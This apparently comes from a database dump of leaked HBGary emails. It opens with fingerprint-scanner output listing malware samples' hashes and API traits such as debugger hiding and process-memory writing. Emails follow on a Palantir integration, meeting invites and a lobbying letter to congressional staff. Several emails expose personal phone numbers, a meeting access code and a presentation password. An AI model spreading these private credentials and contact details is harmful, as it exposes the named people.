01A0DDF87836B9D2A55A8F6BB03A3F31\r\nPE Timestamp                   4/6/2004 1:19:40 AM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata\r\nDataConversion                 locale | double\r\nCommand shell                  Generic\r\nTemp file locations            yes\r\nWin32 File Searching           Ex\r\nNamed Pipe aware               yes\r\nVirtual Memory                 Generic\r\nThread Control                 Context\r\nProfile                        private\r\nFile Mapping                   Generic\r\nProcess Enumeration            toolhelp library\r\nTLS                            aware\r\nCommand line parsing           Win32\r\nWindow                         aware\r\nClipboard aware                yes\r\nDesktop                        enum\r\nWindow Station                 aware\r\nStdout Formatting              ansi\r\nWindows GDI/Common Controls    yes\r\nServices                       create | open\r\nPrivilege                      Get\r\nCreateProcess                  AsUser\r\nSEH                            v4\r\nCompiler                       Microsoft Visual C++ 4.2\r\nRDTSC                          5\r\nCPUID                          3\r\nSEH inits                      1\r\nPE Headers                     1\r\n\r\n4/103\r\n\r\nName: 02b042a183f49c3979fc744ec1e8a20f.EX$\r\nHash: 02B042A183F49C3979FC744EC1E8A20F\r\nPE Timestamp                   11/20/2007 9:17:25 PM\r\nLinker version                 v8.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nDataConversion                 64bit | long | double | ansi\r\nWindow Station                 enum | aware\r\nCritical Sections              yes\r\nWindows Hook                   aware\r\nDesktop                        aware | enum\r\nVirtual Key                    aware\r\nWindow                         aware | enum\r\nDevice Management              yes\r\nClipboard aware                yes\r\nStdout Formatting              ansi\r\nWindows GDI/Common Controls    yes\r\nWin32 File Searching           Ex | Generic\r\nEvents                         yes\r\nNamed Pipe aware               yes\r\nMailslot aware                 yes\r\nRead Process memory            Generic | toolhelp library\r\nProfile                        private\r\nDrive Query                    yes\r\nAtomic operations              yes\r\nMutexes                        yes\r\nThread Control                 Context\r\nVirtual Memory                 Generic | Protect | ProtectEx\r\nLoadLibrary                    Ex | Generic\r\nFile Mapping                   Generic\r\nCommand line parsing           Win32\r\nFile Time                      Get | Set\r\nTLS                            aware\r\nDebugger Check                 API\r\nSemaphores                     yes\r\nGetProcAddress                 yes\r\nProcess Enumeration            toolhelp library\r\nWaitableTimers                 yes\r\nVolume Management              yes\r\nFile IO                        Win32 | delete | Win32 EX\r\nTemp file locations            yes\r\nDebugger Exception             UnhandledFilter | SetConsoleCtrl\r\nThread Creation                Generic\r\nDebugger Hiding                Active\r\nCreateProcess                  Generic | AsUser\r\nDebugger Timing                PerformanceCounter | Ticks\r\nMemory                         Win32\r\nUser mode APCs                 yes\r\nDebugger Output                String\r\nWriteProcessMemory             Generic\r\nServices                       create | start | open | control\r\nPrivilege                      Get | Set\r\nCOM aware                      yes\r\nRDTSC                          1\r\nCPUID                          4\r\nSEH saves                      7\r\nSEH inits                      5\r\nBuffer Security Checks         5\r\nFPO count                      8\r\nPE Headers                     1\r\n\r\n5/103\r\n\r\nName: 02d21d1a3f2ac6c9b410409728f5de39.EX$\r\nHash: 02D21D1A3F2AC6C9B410409728F5DE39\r\nPE Timestamp                   10/23/2005 9:26:21 PM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nWindows GDI/Common Controls    yes\r\nCreateProcess                  AsUser\r\nTemp file locations            yes\r\nVirtual Memory                 Generic\r\nDrive Query                    yes\r\nDebugger Timing                Ticks\r\nCommand line parsing           Win32\r\nWin32 File Searching           Generic\r\nFile IO                        Win32 | CRT\r\nMailslot aware                 yes\r\nProfile                        private\r\nEvents                         yes\r\nWindow Station                 enum\r\nDataConversion                 wide | double | 64bit\r\nCompiler                       Microsoft Visual C++ 4.2\r\nAssembly Info                  instant-acess version 1.0.0.0 for x86\r\nRDTSC                          3\r\nCPUID                          4\r\nPE Headers                     1\r\n\r\n6/103\r\n\r\nName: 0a09f04f0c64703a129cfc5a3b3af57d.EX$\r\nHash: 0A09F04F0C64703A129CFC5A3B3AF57D\r\nPE Timestamp                   6/19/1992 4:22:17 PM\r\nLinker version                 v2.25\r\nDllCharacteristics             00000000\r\nPE Sections                    CODE | DATA | BSS | .idata | .tls |\r\n.rdata | .reloc\r\nDelpi                          yes\r\nDataConversion                 double | 64bit | ansi | locale\r\nPrivilege                      Shutdown | Get | Set\r\nCritical Sections              yes\r\nVirtual Memory                 Generic | Protect\r\nMemory                         Win32\r\nTLS                            aware\r\nCommand line parsing           Win32\r\nFile IO                        Win32 | delete\r\nGetProcAddress                 yes\r\nAtomic operations              yes\r\nCreateProcess                  Generic\r\nWindows GDI/Common Controls    yes\r\nRDTSC                          21\r\nCPUID                          19\r\nPE Headers                     1\r\n\r\n7/103\r\n\r\nName: 0a706b89234cb451214ed35f9343e973.EX$\r\nHash: 0A706B89234CB451214ED35F9343E973\r\nPE Timestamp                   11/19/2009 11:49:36 PM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data | .dats1 |\r\n.dats0 | .dats2 | .dats3 | .reloc\r\nDataConversion                 64bit\r\nProcess Enumeration            toolhelp library\r\nMemory                         Win32\r\nString Formatting              ansi\r\nCOM aware                      yes\r\nCritical Sections              yes\r\nAtomic operations              yes\r\nVirtual Memory                 Generic\r\nCompiler                       Microsoft Visual C++ 4.2\r\nGetProcAddress                 yes\r\nShellExecute                   Ex\r\nLoadLibrary                    Generic | Ex\r\nMFC                            Microsoft Foundation Classes (MFC)\r\nstandard, version: 4.2 ANSI Release\r\nProfile                        private\r\nFile IO                        Win32 | delete\r\nRDTSC                          3\r\nCPUID                          1\r\nFPO count                      26\r\nPE Headers                     1\r\n\r\n8/103\r\n\r\nName: 0a904cafbdda0b89829bda56089634be.EX$\r\nHash: 0A904CAFBDDA0B89829BDA56089634BE\r\nPE Timestamp                   12/3/2007 10:24:20 AM\r\nLinker version                 v7.10\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nSource Path                    e:\\dezdez\\wxareamac\\sxweleqory\r\nOriginal Project Name          nkeac\r\nOriginal Source Path           e:\\dezdez\\wxareamac\\sxweleqory\r\nWindow Station                 enum\r\nCritical Sections              yes\r\nVirtual Key                    aware\r\nWindow                         aware\r\nWindows Hook                   aware\r\nWindows GDI/Common Controls    yes\r\nDebugger Timing                PerformanceCounter | Ticks\r\nFile IO                        Win32\r\nVirtual Memory                 Generic | Protect\r\nLoadLibrary                    Generic\r\nMemory                         Win32\r\nMutexes                        yes\r\nGetProcAddress                 yes\r\nTLS                            aware\r\nAtomic operations              yes\r\nCommand line parsing           Win32\r\nCOM aware                      yes\r\nRDTSC                          2\r\nCPUID                          2\r\nSEH saves                      13\r\nSEH inits                      13\r\nFPO count                      10\r\nPE Headers                     1\r\n\r\n9/103\r\n\r\nName: 0b27546b61866d387c35f889e6f846b4.EX$\r\nHash: 0B27546B61866D387C35F889E6F846B4\r\nPE Timestamp                   6/19/1992 4:22:17 PM\r\nLinker version                 v2.25\r\nDllCharacteristics             00000000\r\nPE Sections                    CODE | DATA | BSS | .idata | .tls |\r\n.rdata | .reloc\r\nDelpi                          yes\r\nCommand line parsing           Win32\r\nTLS                            aware\r\nMemory                         Win32\r\nLoadLibrary                    Generic\r\nGetProcAddress                 yes\r\nPE Headers                     1\r\n\r\n10/103\r\n\r\nName: 0bd5306e5f665c5a52de96c8f69578da.EX$\r\nHash: 0BD5306E5F665C5A52DE96C8F69578DA\r\nPE Timestamp                   12/13/2006 10:37:12 AM\r\nLinker version                 v5.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .code | .data\r\nDebugger Exception             UnhandledFilter\r\nWin32 File Searching           Ex\r\nCritical Sections              yes\r\nCommand line parsing           Win32\r\nLoadLibrary                    Ex\r\nVirtual Memory                 Protect\r\nDebugger Output                String\r\nFile Mapping                   Generic\r\nCompiler                       Microsoft Visual C++ 4.2\r\nWindows GDI/Common Controls    yes\r\nCOM aware                      yes\r\nCPUID                          1\r\nPE Headers                     1\r\n\r\n11/103\r\n\r\nName: 0be60cd95737984a61ac59ea536510ed.EX$\r\nHash: 0BE60CD95737984A61AC59EA536510ED\r\nPE Timestamp                   11/9/2007 2:42:42 AM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nWindows GDI/Common Controls    yes\r\nWindow                         enum | aware\r\nWindows Hook                   aware\r\nClipboard aware                yes\r\nStdout Formatting              ansi\r\nVirtual Key                    aware\r\nDesktop                        aware | enum\r\nWindow Station                 enum | aware\r\nDevice Management              yes\r\nDataConversion                 long | double\r\nWin32 File Searching           Ex | Generic\r\nRead Process memory            Generic | toolhelp library\r\nFile Mapping                   Generic\r\nMutexes                        yes\r\nDrive Query                    yes\r\nProfile                        private\r\nProcess Enumeration            toolhelp library\r\nCommand line parsing           Win32\r\nDebugger Output                String\r\nAtomic operations              yes\r\nTLS                            aware\r\nEvents                         yes\r\nLoadLibrary                    Generic | Ex\r\nTemp file locations            yes\r\nFile Time                      Set | Get\r\nFile IO                        delete | Win32 EX\r\nCritical Sections              yes\r\nUser mode APCs                 yes\r\nSemaphores                     yes\r\nWaitableTimers                 yes\r\nNamed Pipe aware               yes\r\nVirtual Memory                 Generic | Protect | ProtectEx\r\nMemory                         Win32\r\nMailslot aware                 yes\r\nDebugger Timing                Ticks | PerformanceCounter\r\nDebugger Hiding                Active\r\nGetProcAddress                 yes\r\nThread Control                 Context\r\nDebugger Exception             UnhandledFilter | SetConsoleCtrl\r\nCreateProcess                  Generic\r\nVolume Management              yes\r\nThread Creation                Generic\r\nDebugger Check                 API\r\nWriteProcessMemory             Generic\r\nShellExecute                   Ex | Generic\r\nCOM aware                      yes\r\nRDTSC                          2\r\nCPUID                          5\r\nSEH saves                      5\r\nSEH inits                      9\r\nFPO count                      12\r\nPE Headers                     1\r\n\r\n12/103\r\n\r\nName: 0c27216da387852098f20c763f156744.EX$\r\nHash: 0C27216DA387852098F20C763F156744\r\nPE Timestamp                   10/23/2005 9:26:21 PM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nWindows GDI/Common Controls    yes\r\nCreateProcess                  AsUser\r\nTemp file locations            yes\r\nVirtual Memory                 Generic\r\nDrive Query                    yes\r\nDebugger Timing                Ticks\r\nCommand line parsing           Win32\r\nWin32 File Searching           Generic\r\nFile IO                        Win32 | CRT\r\nMailslot aware                 yes\r\nProfile                        private\r\nEvents                         yes\r\nWindow Station                 enum\r\nDataConversion                 wide | double\r\nCompiler                       Microsoft Visual C++ 4.2\r\nAssembly Info                  instant-acess version 1.0.0.0 for x86\r\nRDTSC                          3\r\nCPUID                          4\r\nPE Headers                     1\r\n\r\n13/103\r\n\r\nName: 0c3858b50055a4c2ca23fb1d69d9e2e7.EX$\r\nHash: 0C3858B50055A4C2CA23FB1D69D9E2E7\r\nPE Timestamp                   9/5/2007 7:24:42 AM\r\nLinker version                 v8.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nDataConversion                 64bit | ansi | long | double\r\nWindow Station                 enum | aware\r\nCritical Sections              yes\r\nShellExecute                   Generic | Ex\r\nCommand line parsing           Win32\r\nVirtual Key                    aware\r\nWindow                         enum | aware\r\nDesktop                        aware | enum\r\nDevice Management              yes\r\nClipboard aware                yes\r\nStdout Formatting              ansi\r\nWindows Hook                   aware\r\nWindows GDI/Common Controls    yes\r\nEvents                         yes\r\nWindows Multimedia             yes\r\nVirtual Memory                 Generic | Protect | ProtectEx\r\nDebugger Output                String\r\nWin32 File Searching           Ex | Generic\r\nMemory                         Win32\r\nTLS                            aware\r\nCreateProcess                  Generic\r\nProcess Enumeration            toolhelp library\r\nProfile                        private\r\nMailslot aware                 yes\r\nDebugger Exception             UnhandledFilter | SetConsoleCtrl\r\nMutexes                        yes\r\nWaitableTimers                 yes\r\nDebugger Timing                PerformanceCounter | Ticks\r\nVolume Management              yes\r\nSemaphores                     yes\r\nFile IO                        Win32 | delete | Win32 EX\r\nTemp file locations            yes\r\nFile Mapping                   Generic\r\nGetProcAddress                 yes\r\nDrive Query                    yes\r\nNamed Pipe aware               yes\r\nLoadLibrary                    Generic | Ex\r\nAtomic operations              yes\r\nThread Control                 Context\r\nFile Time                      Set | Get\r\nUser mode APCs                 yes\r\nThread Creation                Generic\r\nRead Process memory            toolhelp library | Generic\r\nDebugger Hiding                Active\r\nWriteProcessMemory             Generic\r\nDebugger Check                 API\r\nRDTSC                          2\r\nCPUID                          4\r\nSEH saves                      6\r\nSEH inits                      4\r\nBuffer Security Checks         5\r\nFPO count                      12\r\nPE Headers                     1\r\n\r\n14/103\r\n\r\nName: 0c3a922af4a3734f06d1b841e7796b8a.EX$\r\nHash: 0C3A922AF4A3734F06D1B841E7796B8A\r\nPE Timestamp                   7/31/2009 6:05:25 AM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .data | .rsrc\r\nWriteProcessMemory             Generic\r\nDebugger Output                String\r\nGetProcAddress                 yes\r\nLoadLibrary                    Generic\r\nCompiler                       Microsoft Visual Basic 6.0\r\nSEH                            vba\r\nCreateProcess                  Generic\r\nPE Headers                     1\r\n\r\n15/103\r\n\r\nName: 0c548eda701e593aa24c311fc4f3c908.EX$\r\nHash: 0C548EDA701E593AA24C311FC4F3C908\r\nPE Timestamp                   10/16/2006 8:04:07 AM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nCommand line parsing           Win32\r\nVirtual Memory                 Generic\r\nMemory                         Win32\r\nThread Creation                Generic\r\nAssembly Description           nullsoft install system v20-oct-2009.cvs\r\nAssembly Info                  nullsoft.nsis.exehead version 1.0.0.0 for x86\r\nDependent Manifest             microsoft.windows.common-controls\r\nVersion 6.0.0.0 for x86 Key: 6595b64144ccf1df\r\nDataConversion                 64bit\r\nFPO count                      1\r\nPE Headers                     1\r\n\r\n16/103\r\n\r\nName: 0c840785bb610e8b31f80e286768cf66.EX$\r\nHash: 0C840785BB610E8B31F80E286768CF66\r\nPE Timestamp                   11/15/2007 2:18:04 PM\r\nLinker version                 v8.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nPE Headers                     1\r\n\r\n17/103\r\n\r\nName: 0cb9ec59f299b21afa17eced2a1306a3.EX$\r\nHash: 0CB9EC59F299B21AFA17ECED2A1306A3\r\nPE Timestamp                   9/21/2007 5:05:05 PM\r\nLinker version                 v8.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nDataConversion                 wide | long | double\r\nWindow Station                 enum | aware\r\nCritical Sections              yes\r\nSource Path                    d:\\xegue\\omnp\r\nOriginal Project Name          moyfwsdxj\r\nOriginal Source Path           d:\\xegue\\omnp\r\nWindows GDI/Common Controls    yes\r\nWaitableTimers                 yes\r\nCommand line parsing           Win32\r\nCreateProcess                  Generic\r\nFile IO                        Win32 | delete | Win32 EX\r\nTLS                            aware\r\nProfile                        private\r\nLoadLibrary                    Generic | Ex\r\nSemaphores                     yes\r\nFile Time                      Set | Get\r\nDebugger Timing                PerformanceCounter | Ticks\r\nFile Mapping                   Generic\r\nMutexes                        yes\r\nMemory                         Win32\r\nDrive Query                    yes\r\nNamed Pipe aware               yes\r\nThread Control                 Context\r\nWin32 File Searching           Ex | Generic\r\nAtomic operations              yes\r\nThread Creation                Generic\r\nProcess Enumeration            toolhelp library\r\nMailslot aware                 yes\r\nEvents                         yes\r\nTemp file locations            yes\r\nWriteProcessMemory             Generic\r\nDebugger Output                String\r\nDebugger Exception             SetConsoleCtrl | UnhandledFilter\r\nVolume Management              yes\r\nGetProcAddress                 yes\r\nVirtual Memory                 ProtectEx | Generic\r\nUser mode APCs                 yes\r\nRead Process memory            toolhelp library | Generic\r\nDebugger Check                 API\r\nDevice Management              yes\r\nDebugger Hiding                Active\r\nClipboard aware                yes\r\nWindow                         aware | enum\r\nVirtual Key                    aware\r\nDesktop                        enum | aware\r\nStdout Formatting              ansi\r\nWindows Hook                   aware\r\nShellExecute                   Generic | Ex\r\nRDTSC                          2\r\nCPUID                          3\r\nSEH saves                      7\r\nSEH inits                      5\r\nBuffer Security Checks         5\r\nFPO count                      1\r\nPE Headers                     1\r\n\r\n18/103\r\n\r\nName: 0cc93640acaab6a0244d0a6ded4cefd3.EX$\r\nHash: 0CC93640ACAAB6A0244D0A6DED4CEFD3\r\nPE Timestamp                   10/15/2007 9:13:13 AM\r\nLinker version                 v9.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nWindow Station                 enum | aware\r\nCOM aware                      yes\r\nLoadLibrary                    Generic | Ex\r\nDataConversion                 double | long | 64bit\r\nFile IO                        Win32 | delete | Win32 EX\r\nShellExecute                   Ex | Generic\r\nCommand line parsing           Win32\r\nWindows GDI/Common Controls    yes\r\nDesktop                        aware | enum\r\nVirtual Key                    aware\r\nStdout Formatting              ansi\r\nWindow                         enum | aware\r\nClipboard aware                yes\r\nWindows Hook                   aware\r\nDevice Management              yes\r\nCreateProcess                  AsUser | Generic\r\nServices                       control | start | open | create\r\nPrivilege                      Set | Get\r\nGetProcAddress                 yes\r\nCritical Sections              yes\r\nTemp file locations            yes\r\nVirtual Memory                 Generic | Protect | ProtectEx\r\nDebugger Output                String\r\nWin32 File Searching           Generic | Ex\r\nDrive Query                    yes\r\nNamed Pipe aware               yes\r\nMailslot aware                 yes\r\nProfile                        private\r\nMutexes                        yes\r\nProcess Enumeration            toolhelp library\r\nMemory                         Win32\r\nSemaphores                     yes\r\nEvents                         yes\r\nAtomic operations              yes\r\nFile Mapping                   Generic\r\nVolume Management              yes\r\nFile Time                      Set | Get\r\nThread Creation                Generic\r\nDebugger Timing                Ticks | PerformanceCounter\r\nTLS                            aware\r\nWaitableTimers                 yes\r\nThread Control                 Context\r\nDebugger Check                 API\r\nWriteProcessMemory             Generic\r\nRead Process memory            toolhelp library | Generic\r\nDebugger Hiding                Active\r\nDebugger Exception             UnhandledFilter | SetConsoleCtrl\r\nUser mode APCs                 yes\r\nRDTSC                          6\r\nCPUID                          8\r\nSEH saves                      6\r\nSEH inits                      4\r\nBuffer Security Checks         5\r\nFPO count                      12\r\nPE Headers                     1\r\n\r\n19/103\r\n\r\nName: 0cf34fd40168f12e29fd0c3a710c85dc.EX$\r\nHash: 0CF34FD40168F12E29FD0C3A710C85DC\r\nPE Timestamp                   10/4/2005 8:26:48 AM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data | .ndata\r\nFile IO                        delete | Win32\r\nWin32 File Searching           Generic | Ex\r\nProfile                        private\r\nGetProcAddress                 yes\r\nLoadLibrary                    Generic\r\nMemory                         Win32\r\nFile Time                      Set\r\nDebugger Timing                Ticks\r\nCommand line parsing           Win32\r\nTemp file locations            yes\r\nThread Creation                Generic\r\nCreateProcess                  Generic\r\nFile Mapping                   Generic\r\nWindow                         aware | enum\r\nStdout Formatting              ansi\r\nClipboard aware                yes\r\nWindows GDI/Common Controls    yes\r\nShellExecute                   Generic\r\nCOM aware                      yes\r\nPrivilege                      Shutdown | Set | Get\r\nAssembly Description           nullsoft install system v2.10\r\nAssembly Info                  nullsoft.nsis.exehead version 1.0.0.0 for x86\r\nDependent Manifest             microsoft.windows.common-controls\r\nVersion 6.0.0.0 for x86 Key: 6595b64144ccf1df\r\nDataConversion                 64bit | locale | double | float\r\nRDTSC                          48\r\nCPUID                          61\r\nPE Headers                     1\r\n\r\n20/103\r\n\r\nName: 0d1d0c9735eda024cf34b00715aacd87.EX$\r\nHash: 0D1D0C9735EDA024CF34B00715AACD87\r\nPE Timestamp                   11/20/2008 2:22:47 PM\r\nLinker version                 v5.12\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data | .reloc\r\nLoadLibrary                    Generic\r\nGetProcAddress                 yes\r\nTimer Queues                   yes\r\nCPUID                          2\r\nPE Headers                     1\r\n\r\n21/103\r\n\r\nName: 0d243163492f1077594001db27d830bd.EX$\r\nHash: 0D243163492F1077594001DB27D830BD\r\nPE Timestamp                   6/9/2009 3:28:54 AM\r\nLinker version                 v9.0\r\nDllCharacteristics             00008140\r\nPE Sections                    .text | .rdata | .data | .rsrc\r\nSource Path                    c:\\documents and settings\\michael\\my\r\ndocuments\\dos\\release\r\nOriginal Project Name          dos\r\nOriginal Source Path           c:\\documents and settings\\michael\\my\r\ndocuments\\dos\\release\r\nThread Creation                Generic\r\nWindows socket library         yes\r\nCompiler                       Microsoft Visual C++ 2008 release\r\nSEH                            v4\r\nDebugger Check                 DrWatson | API\r\nAtomic operations              yes\r\nDebugger Exception             UnhandledFilter\r\nDebugger Timing                PerformanceCounter | Ticks\r\nWinsock                        Generic\r\nSEH saves                      1\r\nFPO count                      3\r\nPE Headers                     3\r\n\r\n22/103\r\n\r\nName: 0dec60cc50afc7996be5dfba4c61a232.EX$\r\nHash: 0DEC60CC50AFC7996BE5DFBA4C61A232\r\nPE Timestamp                   2/20/1974 10:35:53 PM\r\nLinker version                 v2.55\r\nDllCharacteristics             00000000\r\nPE Sections                    UPX3s | .text\r\nWindows GDI/Common Controls    yes\r\nWindow                         aware\r\nLoadLibrary                    Generic\r\nVirtual Memory                 Generic | Protect\r\nProfile                        private\r\nDebugger Timing                Ticks\r\nGetProcAddress                 yes\r\nDebugger Exception             UnhandledFilter\r\nDataConversion                 double | 64bit\r\nRDTSC                          6\r\nCPUID                          3\r\nPE Headers                     1\r\n\r\n23/103\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 1:01 PM, Aaron Zollman  wrote:\r\n> Ted & Mark --\r\n>\r\n>        I\'m glad we were able to talk through some of the integration points today; I think I have a better feel for what\'s available and what work needs to be done.\r\n>\r\n>        FYI, attached is the output of the fingerprint.exe scanner the one time I ran it. I\'m not sure whether I didn\'t correctly have fingerprint extensions on my path, or what exactly the issue was (maybe they just weren\'t malware... though I doubt it), but the attached XML only recorded filenames and hashes for the files. I assume this means I\'m missing something.\r\n>\r\n>        Thanks again for your help.\r\n>\r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 2:00 PM\r\n> To: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\n> Subject: GoToMeeting Invitation - TMC Discussions\r\n>\r\n> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n> https://www1.gotomeeting.com/join/397597081\r\n>\r\n> 2.  Use your microphone and speakers (VoIP) - a headset is\r\n> recommended. Or, call in using your telephone.\r\n>\r\n> Dial 914-339-0016\r\n> Access Code: 397-597-081\r\n> Audio PIN: Shown after joining the meeting\r\n>\r\n> Meeting ID: 397-597-081\r\n>\r\n> GoToMeeting(r)\r\n> Online Meetings Made Easy(tm)\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15889,'aaron_hbgary_com/15889.html'),(11643,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008755.M355231P14101Q6498.eml','\"Barr Aaron\" <aaron@hbgary.com>','Embroidery Proof','Attached...\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3942,'aaron_hbgary_com/3942.html'),(11644,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008759.M276870P14101Q6499.eml','azollman@palantir.com,aaron@hbgary.com,mark@hbgary.com','Re: GoToMeeting Invitation - TMC Discussions','Here are the output files (attached).\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n> https://www1.gotomeeting.com/join/397597081\r\n>\r\n> 2.  Use your microphone and speakers (VoIP) - a headset is\r\n> recommended. Or, call in using your telephone.\r\n>\r\n> Dial 914-339-0016\r\n> Access Code: 397-597-081\r\n> Audio PIN: Shown after joining the meeting\r\n>\r\n> Meeting ID: 397-597-081\r\n>\r\n> GoToMeeting®\r\n> Online Meetings Made Easy™\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1841,'aaron_hbgary_com/1841.html'),(11645,'2010-09-10','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297008759.M620165P14101Q6500.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fingerprint Data Request','\r\nHey Aaron,\r\n\r\n    you called and asked about Fingerprint data?  I\'m sure we can send\r\nyou whatever we have, though it may be very large xml files.  Talk with\r\nScott to coordinate the logistics.\r\n\r\n- Martin\r\n',15451,'aaron_hbgary_com/15451.html'),(11646,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008759.M832092P14101Q6501.eml','marilyn.erbes@mail.house.gov,cynthia.mesenbrink@mail.house.gov,marilyn.erbes@mail.house.gov','Meeting Yesterday','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Marilyn and Cynthia,\r\n\r\n&nbsp;\r\n\r\nIt was a pleasure to meet you both at Infragard yesterday.&nbsp;\r\nMarilyn, per our conversation I am attaching the presentation (it&#8217;s\r\nrecorded) that our founder and CEO Greg Hoglund did for the Cyber terrorism\r\nConference on Healthcare.&nbsp; I think Congressman Lundgren will find this\r\nvery interesting because this is an entirely plausible event with software that\r\nis readily available on the Internet for purchase.&nbsp; Obviously we didn&#8217;t\r\npost this up on our website for everyone to see because we wouldn&#8217;t want\r\nthis to happen, so that&#8217;s why it&#8217;s password protected. Please don&#8217;t\r\ndistribute it widely.&nbsp; We are giving follow up presentations to Stanford,\r\nNYU Medical and a few others.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nhttps://www.hbgary.com/?p=3566&amp;preview=true\r\n\r\n&nbsp;\r\n\r\nPassword: &nbsp;&nbsp;hospitalworm\r\n\r\n&nbsp;\r\n\r\nI also wanted to give you a little background on the company\r\nand our start since Congressman Lundgren is partially responsible.&nbsp; First,\r\nour founder Greg Hoglund is an international security expert.&nbsp; He has\r\nwritten multiple books and is considered one of the foremost authorities on root\r\nkits.&nbsp; I&#8217;m attaching his Wikipedia link for you&nbsp; http://en.wikipedia.org/wiki/Greg_Hoglund&nbsp;\r\n&nbsp;He is a sought after speaker and has participated in numerous talks with\r\nvarious agencies.&nbsp; Most of the important ones know us.\r\n\r\n&nbsp;\r\n\r\nSecond, we were funded by THREE phase 2 SBIRS.&nbsp; Two\r\nfrom the Air force (Wright Patterson) and one from DHS Science and Technology.\r\nThese helped us fund our technology and we&#8217;ve used that technology to\r\ncreate an enterprise APT security solution. (it&#8217;s designed to catch\r\npreviously unseen or unknown malware such as what is infiltrating our networks\r\nfrom China and former Soviet Union)&nbsp; &nbsp;&nbsp;In addition, through DHS\r\nScience and Technology we received a follow on amount to train law enforcement\r\nofficers state, local and federal.&nbsp; We also provided them with a copy of\r\nour Memory Forensic software.&nbsp; Memory forensics is becoming more important\r\nbecause things like passwords, keys (for encryption), chat sessions are found\r\nin the memory of a machine, which means law enforcement doesn&#8217;t\r\nnecessarily need to get a password from a potential criminal, they can get it\r\nthemselves.&nbsp; We have been used by Secret Service and FBI as well as local\r\npolice to help catch pedophiles and felons.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThird, because of the funding, we are able to hire in\r\nSacramento.&nbsp; This means jobs in a depressed economy.&nbsp; The more\r\nfunding given to these programs, the more than can help build businesses in\r\nlocal areas.&nbsp; Just so happens we moved out this way.&nbsp; \r\n\r\n&nbsp;\r\n\r\nFourth, as a result of the gov&#8217;t acting as our VC, we\r\nare giving back to the educational system and trying to make it better for\r\nsecurity professionals coming out of school.&nbsp; We have donated our software\r\nto University of New Orleans, Ferris University (Michigan), we are working with\r\nUC Davis and Matt Bishop out here to get it into his curriculum &nbsp;and we\r\nare trying to bring Ponoma and Sacramento State on line to have this outfitted in\r\ntheir labs as well.\r\n\r\n&nbsp;\r\n\r\nFifth, we do a lot of incident response for defense\r\ncontractors as well as commercial companies.&nbsp; We see what malware is\r\ncoming in and what it is doing.&nbsp; We have a lot of information on items\r\nthat are being targeted and what the malware looks like.&nbsp; We catch much of\r\nit with our solution and I think we can provide some valuable feedback to the\r\ncongressman&#8217;s committee. &nbsp;Most of the malware is BYPASSING perimeter\r\nsecurity and entering right on the desk top.&nbsp; The malware is virus aware\r\nand they test against almost all virus products on the market.&nbsp; Much of it\r\nis encrypted or packed and can&#8217;t be seen by things like Einstein 2 or 3.&nbsp;\r\nI would personally make Greg available to the Congressman as well as the head HBGary\r\nFederal which deals with classified and social media aspects.\r\n\r\n&nbsp;\r\n\r\nAnd finally, I&#8217;d like to see if we can get an earmark\r\nor funding in a bill to see if we can continue to train law enforcement on\r\nmalware and catching criminals using the computer.&nbsp;&nbsp; I&#8217;m not\r\nsure of the vehicles to do this, but I know that we&#8217;d like to continue\r\nit.&nbsp; We understand our law enforcement is underfunded and overwhelmed and\r\nif we can make their jobs easier, we&#8217;d like to do that. 